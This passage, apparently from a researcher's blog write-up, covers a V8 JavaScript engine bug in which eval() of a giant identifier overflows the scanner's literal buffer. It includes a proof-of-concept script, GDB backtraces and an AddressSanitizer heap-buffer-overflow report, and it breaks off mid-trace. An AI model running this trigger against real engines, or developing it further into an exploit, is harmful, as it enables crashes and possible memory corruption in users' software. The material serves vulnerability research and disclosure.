namespace)::Factory::NewOneByteInternalizedString (this=0x5555556113b0, str=..., hash_field=265289730) at ../../src/heap/factory.cc:921 417#8 0x00007ffff6369e0f in (anonymous namespace)::(anonymous namespace)::AstRawStringInternalizationKey::AsHandle (this=0x7fffffffb0c0, isolate=0x5555556113b0) at ../../src/ast/ast-value-factory.cc:71 418#9 0x00007ffff6e6dd97 in (anonymous namespace)::(anonymous namespace)::StringTable::AddKeyNoResize (isolate=0x5555556113b0, key=0x7fffffffb0c0) at ../../src/objects.cc:17460 419#10 0x00007ffff6e6d5c0 in (anonymous namespace)::(anonymous namespace)::StringTable::LookupKey (isolate=0x5555556113b0, key=0x7fffffffb0c0) at ../../src/objects.cc:17452 420#11 0x00007ffff6361990 in (anonymous namespace)::(anonymous namespace)::AstRawString::Internalize (this=0x5555557b5838, isolate=0x5555556113b0) at ../../src/ast/ast-value-factory.cc:88 421#12 0x00007ffff6367bb5 in (anonymous namespace)::(anonymous namespace)::AstValueFactory::Internalize (this=0x5555556fbdd0, isolate=0x5555556113b0) at ../../src/ast/ast-value-factory.cc:274 422#13 0x00007ffff64d2f52 in (anonymous namespace)::(anonymous namespace)::(anonymous namespace)::GenerateUnoptimizedCodeForToplevel (isolate=0x5555556113b0, parse_info=0x7fffffffbbb8, allocator=0x55555560feb0, is_compiled_scope=0x7fffffffc398) at ../../src/compiler.cc:505 423#14 0x00007ffff64cb964 in (anonymous namespace)::(anonymous namespace)::(anonymous namespace)::CompileToplevel (parse_info=0x7fffffffbbb8, isolate=0x5555556113b0, is_compiled_scope=0x7fffffffc398) at ../../src/compiler.cc:934 424#15 0x00007ffff64cc37d in (anonymous namespace)::(anonymous namespace)::Compiler::GetFunctionFromEval (source=..., outer_info=..., context=..., language_mode=(anonymous namespace)::(anonymous namespace)::LanguageMode::kSloppy, restriction=(anonymous namespace)::(anonymous namespace)::NO_PARSE_RESTRICTION, parameters_end_pos=-1, eval_scope_position=0, eval_position=124) at ../../src/compiler.cc:1393 425#16 0x00007ffff7100172 in (anonymous namespace)::(anonymous namespace)::CompileGlobalEval((anonymous namespace)::(anonymous namespace)::Isolate *, (anonymous namespace)::(anonymous namespace)::Handle<v8::internal::String>, (anonymous namespace)::(anonymous namespace)::Handle<v8::internal::SharedFunctionInfo>, enum class (anonymous namespace)::(anonymous namespace)::LanguageMode, int, int) (isolate=0x5555556113b0, source=..., outer_info=..., language_mode=(anonymous namespace)::(anonymous namespace)::LanguageMode::kSloppy, eval_scope_position=0, eval_position=124) at ../../src/runtime/runtime-compiler.cc:322 426#17 0x00007ffff70ff2ef in (anonymous namespace)::(anonymous namespace)::__RT_impl_Runtime_ResolvePossiblyDirectEval (args=..., isolate=0x5555556113b0) at ../../src/runtime/runtime-compiler.cc:353 427#18 0x00007ffff70feca2 in (anonymous namespace)::(anonymous namespace)::Runtime_ResolvePossiblyDirectEval (args_length=6, args_object=0x7fffffffc7d0, isolate=0x5555556113b0) at ../../src/runtime/runtime-compiler.cc:331 428 429</pre></table></code></div></div><h3 id="different-ideas-to-allocate-big-string">Different ideas to allocate big string</h3><p>My next ideas was check correct size for max String in v8. ( I know that I could find it in code but I decided to do it JS style).</p><h3 id="1">1.</h3><div lang="plaintext" class="language-plaintext highlighter-rouge"><div class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1 4302 4313 4324 4335 4346 435</pre><td class="rouge-code"><pre>var name_function = "a".repeat(262144); 436for(var i=0;i<2146435073;i+=1048576){ 437 name_function += 'x'.repeat(1048576) 438 eval("var "+name_function+" = new Function('return');"); 439 console.log("Length is "+name_function.length.toString()); 440} 441</pre></table></code></div></div><p>With âslightlyâ bigger first_value.</p><div lang="plaintext" class="language-plaintext highlighter-rouge"><div class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1 4422 4433 4444 4455 4466 4477 448</pre><td class="rouge-code"><pre>var first_value = 169869312; 449var name_function = "a".repeat(first_value); 450for(var i=first_value;i<2146435073;i+=1048576){ 451 name_function += 'x'.repeat(1048576) 452 eval("var "+name_function+" = new Function('return');"); 453 console.log("Length is "+name_function.length.toString()); 454} 455</pre></table></code></div></div><h3 id="2">2.</h3><div lang="plaintext" class="language-plaintext highlighter-rouge"><div class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1 4562 4573 4584 4595 4606 4617 4628 4639 46410 465</pre><td class="rouge-code"><pre>final_size = 0xffffffff; 466cur_size = 0; 467var name_function = ""; 468while (cur_size < final_size){ 469 name_function+="a"; 470 cur_size+=1; 471} 472console.log("Length is "+name_function.length.toString()); 473eval("var "+name_function+" = new Function('return');"); 474 475</pre></table></code></div></div><p>Based on those failed attempts I decided to change the approach and add everything step by step. That idea lead to this poc and this one crashed it âgood wayâ :)</p><h2 id="final-poc">Final poc:</h2><div lang="js" class="language-js highlighter-rouge"><div class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1 4762 4773 4784 4795 4806 4817 4828 4839 48410 485</pre><td class="rouge-code"><pre><span class="kd">var</span> <span class="nx">first_value</span> <span class="o">=</span> <span class="mi">159383552</span><span class="p">;</span> 486<span class="kd">var</span> <span class="nx">name_function</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">a</span><span class="dl">"</span><span class="p">.</span><span class="nx">repeat</span><span class="p">(</span><span class="nx">first_value</span><span class="p">);</span> 487<span class="nx">name_function</span> <span class="o">+=</span> <span class="dl">"</span><span class="s2">a</span><span class="dl">"</span><span class="p">.</span><span class="nx">repeat</span><span class="p">(</span><span class="nx">first_value</span><span class="p">);</span> 488<span class="nx">name_function</span> <span class="o">+=</span> <span class="dl">"</span><span class="s2">a</span><span class="dl">"</span><span class="p">.</span><span class="nx">repeat</span><span class="p">(</span><span class="nx">first_value</span><span class="p">);</span> 489<span class="nx">name_function</span> <span class="o">+=</span> <span class="dl">"</span><span class="s2">a</span><span class="dl">"</span><span class="p">.</span><span class="nx">repeat</span><span class="p">(</span><span class="nx">first_value</span><span class="p">);</span> 490<span class="nx">name_function</span> <span class="o">+=</span> <span class="dl">"</span><span class="s2">a</span><span class="dl">"</span><span class="p">.</span><span class="nx">repeat</span><span class="p">(</span><span class="nx">first_value</span><span class="p">);</span> 491<span class="nx">name_function</span> <span class="o">+=</span> <span class="dl">"</span><span class="s2">a</span><span class="dl">"</span><span class="p">.</span><span class="nx">repeat</span><span class="p">(</span><span class="nx">first_value</span><span class="p">);</span> 492<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">Length is </span><span class="dl">"</span><span class="o">+</span><span class="nx">name_function</span><span class="p">.</span><span class="nx">length</span><span class="p">.</span><span class="nx">toString</span><span class="p">());</span> 493<span class="nb">eval</span><span class="p">(</span><span class="dl">"</span><span class="s2">var </span><span class="dl">"</span><span class="o">+</span><span class="nx">name_function</span><span class="o">+</span><span class="dl">"</span><span class="s2"> = new Function('return');</span><span class="dl">"</span><span class="p">);</span> 494<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">Length is </span><span class="dl">"</span><span class="o">+</span><span class="nx">name_function</span><span class="p">.</span><span class="nx">length</span><span class="p">.</span><span class="nx">toString</span><span class="p">());</span> 495</pre></table></code></div></div><h3 id="backtrace-debug">Backtrace debug:</h3><div lang="plaintext" class="language-plaintext highlighter-rouge"><div class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1 4962 4973 4984 4995 5006 5017 5028 5039 50410 50511 50612 50713 50814 50915 51016 51117 51218 51319 51420 51521 51622 51723 51824 51925 52026 52127 52228 52329 52430 52531 52632 52733 52834 52935 53036 53137 53238 53339 53440 53541 53642 53743 53844 53945 540</pre><td class="rouge-code"><pre>#0 (anonymous namespace)::(anonymous namespace)::OS::Abort () at ../../src/base/platform/platform-posix.cc:400 541#1 0x00007ffff626f95b in (anonymous namespace)::Utils::ReportOOMFailure (isolate=0x5555556113b0, location=0x7ffff5f7e91f "NewArray", is_heap_oom=false) at ../../src/api.cc:484 542#2 0x00007ffff626f8c6 in (anonymous namespace)::(anonymous namespace)::V8::FatalProcessOutOfMemory (isolate=0x5555556113b0, location=0x7ffff5f7e91f "NewArray", is_heap_oom=false) at ../../src/api.cc:452 543#3 0x00007ffff626f4ef in (anonymous namespace)::(anonymous namespace)::FatalProcessOutOfMemory (isolate=0x0, location=0x7ffff5f7e91f "NewArray") at ../../src/api.cc:357 544#4 0x00007ffff62627a8 in (anonymous namespace)::(anonymous namespace)::NewArray<char> (size=18446744071562067968) at ../../src/allocation.h:45 545#5 0x00007ffff6d6cca4 in (anonymous namespace)::(anonymous namespace)::Vector<unsigned char>::New (length=-2147483648) at ../../src/vector.h:33 546#6 0x00007ffff6fffd85 in (anonymous namespace)::(anonymous namespace)::Scanner::LiteralBuffer::ExpandBuffer (this=0x7fffffffb4b0) at ../../src/parsing/scanner.cc:74 547#7 0x00007ffff7006979 in (anonymous namespace)::(anonymous namespace)::Scanner::LiteralBuffer::AddOneByteChar (this=0x7fffffffb4b0, one_byte_char=97 'a') at ../../src/parsing/scanner.h:485 548#8 0x00007ffff7006cd4 in (anonymous namespace)::(anonymous namespace)::Scanner::LiteralBuffer::AddChar (this=0x7fffffffb4b0, code_unit=97 'a') at ../../src/parsing/scanner.h:425 549#9 0x00007ffff70055fb in (anonymous namespace)::(anonymous namespace)::Scanner::AddLiteralChar (this=0x7fffffffb480, c=97 'a') at ../../src/parsing/scanner.h:577 550#10 0x000
55007ffff7006c5d in operator() (this=0x7fffffffa490, c0=97) at ../../src/parsing/scanner-inl.h:273 551#11 0x00007ffff7006b99 in operator() (this=0x7fffffffa4b8, raw_c0_=97) at ../../src/parsing/scanner.h:77 552#12 0x00007ffff7006abe in (anonymous namespace)::(anonymous namespace)::find_if<const unsigned short *, (lambda at ../../src/parsing/scanner.h:75:53)> (__first=0x5555556c8e1a, __last=0x5555556c9212, __pred=...) at ../../buildtools/third_party/libc++/trunk/include/algorithm:878 553#13 (anonymous namespace)::(anonymous namespace)::Utf16CharacterStream::AdvanceUntil<(lambda at ../../src/parsing/scanner-inl.h:259:20)>(class {...}) (this=0x5555556c8de0, check=...) at ../../src/parsing/scanner.h:75 554#14 0x00007ffff7006a30 in (anonymous namespace)::(anonymous namespace)::Scanner::AdvanceUntil<(lambda at ../../src/parsing/scanner-inl.h:259:20)>(class {...}) (this=0x7fffffffb480, check=...) at ../../src/parsing/scanner.h:599 555#15 0x00007ffff7005093 in (anonymous namespace)::(anonymous namespace)::Scanner::ScanIdentifierOrKeywordInner (this=0x7fffffffb480) at ../../src/parsing/scanner-inl.h:259 556#16 0x00007ffff700685e in (anonymous namespace)::(anonymous namespace)::Scanner::ScanIdentifierOrKeyword (this=0x7fffffffb480) at ../../src/parsing/scanner-inl.h:180 557#17 0x00007ffff7006454 in (anonymous namespace)::(anonymous namespace)::Scanner::ScanSingleToken (this=0x7fffffffb480) at ../../src/parsing/scanner-inl.h:490 558#18 0x00007ffff7004668 in (anonymous namespace)::(anonymous namespace)::Scanner::Scan (this=0x7fffffffb480, next_desc=0x7fffffffb4a8) at ../../src/parsing/scanner-inl.h:515 559#19 0x00007ffff700074a in (anonymous namespace)::(anonymous namespace)::Scanner::Next (this=0x7fffffffb480) at ../../src/parsing/scanner.cc:230 560#20 0x00007ffff6fa0697 in (anonymous namespace)::(anonymous namespace)::ParserBase<v8::internal::Parser>::Consume (this=0x7fffffffb340, token=(anonymous namespace)::(anonymous namespace)::Token::VAR) at ../../src/parsing/parser-base.h:738 561#21 0x00007ffff6fbf193 in (anonymous namespace)::(anonymous namespace)::ParserBase<v8::internal::Parser>::ParseVariableDeclarations (this=0x7fffffffb340, var_context=(anonymous namespace)::(anonymous namespace)::ParserBase<v8::internal::Parser>::kStatementListItem, parsing_result=0x7fffffffab50) at ../../src/parsing/parser-base.h:3418 562#22 0x00007ffff6fa1044 in (anonymous namespace)::(anonymous namespace)::ParserBase<v8::internal::Parser>::ParseVariableStatement (this=0x7fffffffb340, var_context=(anonymous namespace)::(anonymous namespace)::ParserBase<v8::internal::Parser>::kStatementListItem, names=0x0) at ../../src/parsing/parser-base.h:4673 563#23 0x00007ffff6f9fb90 in (anonymous namespace)::(anonymous namespace)::ParserBase<v8::internal::Parser>::ParseStatementListItem (this=0x7fffffffb340) at ../../src/parsing/parser-base.h:4471 564#24 0x00007ffff6f9d65d in (anonymous namespace)::(anonymous namespace)::ParserBase<v8::internal::Parser>::ParseStatementList (this=0x7fffffffb340, body=0x7fffffffad98, end_token=(anonymous namespace)::(anonymous namespace)::Token::EOS) at ../../src/parsing/parser-base.h:4436 565#25 0x00007ffff6f899d5 in (anonymous namespace)::(anonymous namespace)::Parser::DoParseProgram (this=0x7fffffffb340, isolate=0x5555556113b0, info=0x7fffffffbbb8) at ../../src/parsing/parser.cc:578 566#26 0x00007ffff6f88d3d in (anonymous namespace)::(anonymous namespace)::Parser::ParseProgram (this=0x7fffffffb340, isolate=0x5555556113b0, info=0x7fffffffbbb8) at ../../src/parsing/parser.cc:497 567#27 0x00007ffff6fc8421 in (anonymous namespace)::(anonymous namespace)::(anonymous namespace)::ParseProgram (info=0x7fffffffbbb8, isolate=0x5555556113b0) at ../../src/parsing/parsing.cc:39 568#28 0x00007ffff64cb754 in (anonymous namespace)::(anonymous namespace)::(anonymous namespace)::CompileToplevel (parse_info=0x7fffffffbbb8, isolate=0x5555556113b0, is_compiled_scope=0x7fffffffc398) at ../../src/compiler.cc:919 569#29 0x00007ffff64cc37d in (anonymous namespace)::(anonymous namespace)::Compiler::GetFunctionFromEval (source=..., outer_info=..., context=..., language_mode=(anonymous namespace)::(anonymous namespace)::LanguageMode::kSloppy, restriction=(anonymous namespace)::(anonymous namespace)::NO_PARSE_RESTRICTION, parameters_end_pos=-1, eval_scope_position=0, eval_position=740) at ../../src/compiler.cc:1393 570#30 0x00007ffff7100172 in (anonymous namespace)::(anonymous namespace)::CompileGlobalEval((anonymous namespace)::(anonymous namespace)::Isolate *, (anonymous namespace)::(anonymous namespace)::Handle<v8::internal::String>, (anonymous namespace)::(anonymous namespace)::Handle<v8::internal::SharedFunctionInfo>, enum class (anonymous namespace)::(anonymous namespace)::LanguageMode, int, int) (isolate=0x5555556113b0, source=..., outer_info=..., language_mode=(anonymous namespace)::(anonymous namespace)::LanguageMode::kSloppy, eval_scope_position=0, eval_position=740) at ../../src/runtime/runtime-compiler.cc:322 571#31 0x00007ffff70ff2ef in (anonymous namespace)::(anonymous namespace)::__RT_impl_Runtime_ResolvePossiblyDirectEval (args=..., isolate=0x5555556113b0) at ../../src/runtime/runtime-compiler.cc:353 572#32 0x00007ffff70feca2 in (anonymous namespace)::(anonymous namespace)::Runtime_ResolvePossiblyDirectEval (args_length=6, args_object=0x7fffffffc7c8, isolate=0x5555556113b0) at ../../src/runtime/runtime-compiler.cc:331 573#33 0x00007ffff79e678d in Builtins_CEntry_Return1_DontSaveFPRegs_ArgvInRegister_NoBuiltinExit () from /home/mtowalski/v8/v8/out/x64.debug/./libv8.so 574#34 0x00007ffff7b3bbac in Builtins_CallRuntimeHandler () from /home/mtowalski/v8/v8/out/x64.debug/./libv8.so 575#35 0x00007fffffffc768 in ?? () 576#36 0x00007fffffffc768 in ?? () 577#37 0x00007fffffffc810 in ?? () 578#38 0x0000555555653210 in ?? () 579#39 0x0000000000000018 in ?? () 580#40 0x00007fffffffc810 in ?? () 581#41 0x00007ffff76e3008 in Builtins_InterpreterEntryTrampoline () from /home/mtowalski/v8/v8/out/x64.debug/./libv8.so 582#42 0x000002e400000000 in ?? () 583#43 0x0000000000000000 in ?? () 584 585</pre></table></code></div></div><h3 id="asan-release-with-symbolize">Asan release with symbolize:</h3><div lang="plaintext" class="language-plaintext highlighter-rouge"><div class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1 5862 5873 5884 5895 5906 5917 5928 5939 59410 59511 59612 59713 59814 59915 60016 60117 60218 60319 60420 60521 60622 60723 60824 60925 61026 61127 61228 61329 61430 61531 61632 61733 61834 61935 62036 62137 62238 62339 62440 62541 62642 62743 62844 62945 63046 63147 63248 63349 63450
63551 63652 63753 63854 63955 64056 64157 64258 64359 64460 64561 64662 64763 64864 64965 65066 65167 65268 65369 65470 65571 65672 65773 65874 65975 66076 66177 66278 66379 66480 66581 66682 66783 66884 66985 67086 67187 67288 67389 67490 67591 67692 67793 67894 67995 68096 68197 68298 68399 684100 685101 686102 687103 688104 689105 690106 691107 692108 693109 694110 695111 696112 697113 698114 699115 700116 701117 702118 703119 704120 705121 706122 707123 708124 709125 710126 711127 712</pre><td class="rouge-code"><pre>================================================================= 713==3074==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x606000001bc0 at pc 0x559891d264ae bp 0x7ffd115efbe0 sp 0x7ffd115ef390 714WRITE of size 536870913 at 0x606000001bc0 thread T0 715 #0 0x559891d264ad in __asan_memcpy _asan_rtl_:3 716 #1 0x7f470051633c in v8::internal::MemCopy(void*, void const*, unsigned long) /home/mtowalski/v8/v8/out/x64.release/../../src/memcopy.h:91:3 717 #2 0x7f470051633c in v8::internal::Scanner::LiteralBuffer::ExpandBuffer() /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner.cc:75:0 718 #3 0x7f4700530763 in v8::internal::Scanner::LiteralBuffer::AddOneByteChar(unsigned char) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner.h:485:49 719 #4 0x7f4700530763 in v8::internal::Scanner::LiteralBuffer::AddChar(char) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner.h:425:0 720 #5 0x7f4700530763 in v8::internal::Scanner::AddLiteralChar(char) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner.h:577:0 721 #6 0x7f4700530763 in v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int)::operator()(int) const /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner-inl.h:273:0 722 #7 0x7f4700530763 in int v8::internal::Utf16CharacterStream::AdvanceUntil<v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int)>(v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int))::'lambda'(unsigned short)::operator()(unsigned short) const /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner.h:77:0 723 #8 0x7f4700530763 in v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int) std::__Cr::find_if<unsigned short const*, int v8::internal::Utf16CharacterStream::AdvanceUntil<v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int)>(v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int))::'lambda'(unsigned short)>(v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int), v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int), int v8::internal::Utf16CharacterStream::AdvanceUntil<v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int)>(v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int))::'lambda'(unsigned short)) /home/mtowalski/v8/v8/out/x64.release/../../buildtools/third_party/libc++/trunk/include/algorithm:878:0 724 #9 0x7f4700530763 in int v8::internal::Utf16CharacterStream::AdvanceUntil<v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int)>(v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int)) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner.h:75:0 725 #10 0x7f4700530763 in void v8::internal::Scanner::AdvanceUntil<v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int)>(v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int)) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner.h:599:0 726 #11 0x7f4700530763 in v8::internal::Scanner::ScanIdentifierOrKeywordInner() /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner-inl.h:259:0 727 #12 0x7f4700530763 in v8::internal::Scanner::ScanIdentifierOrKeyword() /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner-inl.h:180:0 728 #13 0x7f4700530763 in v8::internal::Scanner::ScanSingleToken() /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner-inl.h:490:0 729 #14 0x7f4700530763 in v8::internal::Scanner::Scan(v8::internal::Scanner::TokenDesc*) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner-inl.h:515:0 730 #15 0x7f4700530763 in v8::internal::Scanner::Next() /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner.cc:230:0 731 #16 0x7f470048b428 in v8::internal::ParserBase<v8::internal::Parser>::Consume(v8::internal::Token::Value) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/parser-base.h:738:36 732 #17 0x7f470048b428 in v8::internal::ParserBase<v8::internal::Parser>::ParseVariableDeclarations(v8::internal::ParserBase<v8::internal::Parser>::VariableDeclarationContext, v8::internal::ParserBase<v8::internal::Parser>::DeclarationParsingResult*) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/parser-base.h:3418:0 733 #18 0x7f47003f7864 in v8::internal::ParserBase<v8::internal::Parser>
733::ParseVariableStatement(v8::internal::ParserBase<v8::internal::Parser>::VariableDeclarationContext, v8::internal::ZoneList<v8::internal::AstRawString const*>*) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/parser-base.h:4673:3 734 #19 0x7f47003d9be3 in v8::internal::ParserBase<v8::internal::Parser>::ParseStatementList(v8::internal::ScopedPtrList<v8::internal::Statement>*, v8::internal::Token::Value) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/parser-base.h:4436:23 735 #20 0x7f47003d9be3 in v8::internal::Parser::DoParseProgram(v8::internal::Isolate*, v8::internal::ParseInfo*) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/parser.cc:578:0 736 #21 0x7f47003d734a in v8::internal::Parser::ParseProgram(v8::internal::Isolate*, v8::internal::ParseInfo*) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/parser.cc:497:29 737 #22 0x7f47004a20fc in v8::internal::parsing::ParseProgram(v8::internal::ParseInfo*, v8::internal::Isolate*) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/parsing.cc:39:19 738 #23 0x7f46ff22ef73 in v8::internal::(anonymous namespace)::CompileToplevel(v8::internal::ParseInfo*, v8::internal::Isolate*, v8::internal::IsCompiledScope*) /home/mtowalski/v8/v8/out/x64.release/../../src/compiler.cc:919:8 739 #24 0x7f46ff232517 in v8::internal::Compiler::GetFunctionFromEval(v8::internal::Handle<v8::internal::String>, v8::internal::Handle<v8::internal::SharedFunctionInfo>, v8::internal::Handle<v8::internal::Context>, v8::internal::LanguageMode, v8::internal::ParseRestriction, int, int, int) /home/mtowalski/v8/v8/out/x64.release/../../src/compiler.cc:1393:10 740 #25 0x7f4700706007 in v8::internal::CompileGlobalEval(v8::internal::Isolate*, v8::internal::Handle<v8::internal::String>, v8::internal::Handle<v8::internal::SharedFunctionInfo>, v8::internal::LanguageMode, int, int) /home/mtowalski/v8/v8/out/x64.release/../../src/runtime/runtime-compiler.cc:322:3 741 #26 0x7f4700706007 in v8::internal::__RT_impl_Runtime_ResolvePossiblyDirectEval(v8::internal::Arguments, v8::internal::Isolate*) /home/mtowalski/v8/v8/out/x64.release/../../src/runtime/runtime-compiler.cc:353:0 742 #27 0x7f4700706007 in v8::internal::Runtime_ResolvePossiblyDirectEval(int, unsigned long*, v8::internal::Isolate*) /home/mtowalski/v8/v8/out/x64.release/../../src/runtime/runtime-compiler.cc:331:0 743 #28 0x7f4701054bc5 in Builtins_CEntry_Return1_DontSaveFPRegs_ArgvInRegister_NoBuiltinExit ??:0:0 744 #29 0x7f47010956ce in Builtins_CallRuntimeHandler ??:0:0 745 #30 0x7f4700fb2bf6 in Builtins_InterpreterEntryTrampoline ??:0:0 746 #31 0x7f4700fb029f in Builtins_JSEntryTrampoline ??:0:0 747 #32 0x7f4700fb002c in Builtins_JSEntry ??:0:0 748 #33 0x7f46ffc09b90 in v8::internal::GeneratedCode<unsigned long, unsigned long, unsigned long, unsigned long, unsigned long, long, unsigned long**>::Call(unsigned long, unsigned long, unsigned long, unsigned long, long, unsigned long**) /home/mtowalski/v8/v8/out/x64.release/../../src/simulator.h:124:12 749 #34 0x7f46ffc09b90 in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) /home/mtowalski/v8/v8/out/x64.release/../../src/execution.cc:293:0 750 #35 0x7f46ffc08ba4 in v8::internal::Execution::Call(v8::internal::Isolate*, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>, int, v8::internal::Handle<v8::internal::Object>*) /home/mtowalski/v8/v8/out/x64.release/../../src/execution.cc:369:10 751 #36 0x7f46feeca7e3 in v8::Script::Run(v8::Local<v8::Context>) /home/mtowalski/v8/v8/out/x64.release/../../src/api.cc:2135:7 752 #37 0x559891d68230 in v8::Shell::ExecuteString(v8::Isolate*, v8::Local<v8::String>, v8::Local<v8::Value>, v8::Shell::PrintResult, v8::Shell::ReportExceptions, v8::Shell::ProcessMessageQueue) /home/mtowalski/v8/v8/out/x64.release/../../src/d8.cc:533:28 753 #38 0x559891d84f4b in v8::SourceGroup::Execute(v8::Isolate*) /home/mtowalski/v8/v8/out/x64.release/../../src/d8.cc:2466:10 754 #39 0x559891d8bfb3 in v8::Shell::RunMain(v8::Isolate*, int, char**, bool) /home/mtowalski/v8/v8/out/x64.release/../../src/d8.cc:2948:34 755 #40 0x559891d90ba6 in v8::Shell::Main(int, char**) /home/mtowalski/v8/v8/out/x64.release/../../src/d8.cc:3500:16 756 #41 0x7f46fc7082e0 in __libc_start_main ??:0:0 757 7580x606000001bc0 is located 0 bytes to the right of 64-byte region [0x606000001b80,0x606000001bc0) 759allocated by thread T0 here: 760 #0 0x559891d53c82 in operator new[](unsigned long, std::nothrow_t const&) _asan_rtl_:3 761 #1 0x7f470051627a in unsigned char* v8::internal::NewArray<unsigned char>(unsigned long) /home/mtowalski/v8/v8/out/x64.release/../../src/allocation.h:41:15 762 #2 0x7f470051627a in v8::internal::Vector<unsigned char>::New(int) /home/mtowalski/v8/v8/out/x64.release/../../src/vector.h:33:0 763 #3 0x7f470051627a in v8::internal::Scanner::LiteralBuffer::ExpandBuffer() /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner.cc:74:0 764 #4 0x7f4700530763 in v8::internal::Scanner::LiteralBuffer::AddOneByteChar(unsigned char) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner.h:485:49 765 #5 0x7f4700530763 in v8::internal::Scanner::LiteralBuffer::AddChar(char) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner.h:425:0 766 #6 0x7f4700530763 in v8::internal::Scanner::AddLiteralChar(char) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner.h:577:0 767 #7 0x7f4700530763 in v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int)::operator()(int) const /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner
767-inl.h:273:0 768 #8 0x7f4700530763 in int v8::internal::Utf16CharacterStream::AdvanceUntil<v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int)>(v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int))::'lambda'(unsigned short)::operator()(unsigned short) const /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner.h:77:0 769 #9 0x7f4700530763 in v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int) std::__Cr::find_if<unsigned short const*, int v8::internal::Utf16CharacterStream::AdvanceUntil<v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int)>(v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int))::'lambda'(unsigned short)>(v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int), v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int), int v8::internal::Utf16CharacterStream::AdvanceUntil<v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int)>(v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int))::'lambda'(unsigned short)) /home/mtowalski/v8/v8/out/x64.release/../../buildtools/third_party/libc++/trunk/include/algorithm:878:0 770 #10 0x7f4700530763 in int v8::internal::Utf16CharacterStream::AdvanceUntil<v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int)>(v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int)) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner.h:75:0 771 #11 0x7f4700530763 in void v8::internal::Scanner::AdvanceUntil<v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int)>(v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int)) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner.h:599:0 772 #12 0x7f4700530763 in v8::internal::Scanner::ScanIdentifierOrKeywordInner() /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner-inl.h:259:0 773 #13 0x7f4700530763 in v8::internal::Scanner::ScanIdentifierOrKeyword() /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner-inl.h:180:0 774 #14 0x7f4700530763 in v8::internal::Scanner::ScanSingleToken() /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner-inl.h:490:0 775 #15 0x7f4700530763 in v8::internal::Scanner::Scan(v8::internal::Scanner::TokenDesc*) 